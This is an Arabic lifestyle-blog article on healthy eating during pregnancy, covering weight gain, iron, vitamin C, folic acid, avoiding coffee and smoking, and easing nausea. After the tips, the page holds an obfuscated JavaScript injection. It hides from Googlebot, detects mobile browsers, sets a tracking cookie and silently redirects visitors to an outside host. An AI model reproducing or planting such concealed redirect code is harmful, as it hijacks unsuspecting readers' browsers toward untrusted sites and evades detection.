انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

التغذية السليمة للأم الحامل

التغذية السليمة للأم الحامل

الغذاء الصحي الذي تتناوله الام وقت الحمل له دور رئيسي وفعال في الحفاظ علي صحة الام وصحة الجنين كما انه احد العوامل المهمة في الحصول علي ولادة طبيعية سهلة ويساعدك في الحفاظ علي صحة جنينك وولادته يتمتع بمقدار جيد من الصحة وقد اثبتت ذلك الدراسات الطبية الحديثة والتي اكدت علي ان التغذية الصحية في مراحل الحمل المختلفة تساعد علي حماية الطفل من الامراض المزمنة علي المدي البعيد كما انها تقلل من المخاطر المختلفة عند الولادة  ولابد من تناول الغذاء الصحي حتي لا تعاني الام من زيادة الوزن اثناء الحمل عن الحد الطبيعي والذي يسبب الكثير من المشكلات عند الولادة والزيادة الطبيعية التي تحدث في وزن الام تتراوح ما بين 12 كيلو جرام و 16 كيلو جرام واكثر من ذلك يعد وزن زائد لابد ان تتخلصي منه

 

التغذية السليمة للأم الحامل
التغذية السليمة للأم الحامل

 

  • في هذه المقالة سوف نقدم لكم مجموعة من النصائح التي تساعدكم على التخلص من الوزن الزائد والحصول على تغذية سليمة وقت الحمل
  • احصلي على عناصر غذائية متنوعة وحتى تحصلي على ذلك عليك تناول الأطعمة الصحية المختلفة والاكثار من الخضروات الطازجة والفواكه أيضا وللعلم ان عدد السعرات الحرارية التي تحتاجها المرأة في الشهور الثلاثة الاولي من الحمل هي نفس عدد السعرات الحرارية قبل الحمل
  • اهتمي بتناول الأطعمة التي تحتوي على عنصر الحديد والذي يتوافر في البقوليات واللحوم الحمراء الخالية من الدهون والخضروات الورقية الطازجة ويمكنك استشارة طبيبك الخاص ان كنتي تحتاجين الي استخدام المكملات الغذائية للحصول على كمية الحديد الكافية لحالتك
  • تناولي الأطعمة التي تحتوي على الفيتامينات وخاصة فيتامين ج الموجود في الطماطم والحمضيات أيضا لان فيتامين ج يعمل علي زيادة امتصاص عنصر الحديد من الأمعاء
  • أشهر التخطيط للحمل وشهور الحمل الاولي لابد ان تكون مليئة بحمض الفوليك الموجود في الخضروات والبقوليات لان الجسم يحتاجه في هذه المرحلة
  • ابتعدي دائما عن شرب القهوة والتدخين لان هذه العادات السيئة في هذا التوقيت تؤذي الطفل الجنين أكثر ما تؤذي والدته لذا لابد ان تتجنبي هذه العادات
  • حاولي ان يكون طعامك في هذه المرحلة الخاصة بالحمل متنوعا ويحتوي على الكثير من العناصر الغذائية المختلفة التي يحتاج اليها الجسم
  • من أكثر الاعراض التي تظهر على المرأة الحامل الغثيان ويمكنك تقليل هذا العرض قليلا عند تجنبك تناول الأطعمة الحارة والتي تحتوي على كمية كبيرة من البهارات كما يمكنك الاعتماد على الوجبات الخفيفة لمقاومة اعراض الغثيان وتخفيفها

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.